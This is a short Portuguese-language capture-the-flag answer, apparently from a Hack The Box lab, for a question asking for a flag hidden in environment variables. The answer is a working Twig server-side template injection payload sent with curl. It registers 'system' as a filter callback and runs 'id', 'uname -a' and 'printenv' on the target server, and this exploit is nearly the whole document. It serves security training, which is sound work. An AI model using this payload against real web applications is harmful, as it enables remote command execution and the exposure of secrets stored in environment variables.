Question-1

Use o que você aprendeu nesta seção para obter o sinalizador que está oculto nas variáveis ​​de ambiente. Formato de resposta: HTB{String}

Payload :

curl -X POST -d 'name={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;printenv")}}' http://94.237.57.222:55319/ | grep "HTB{"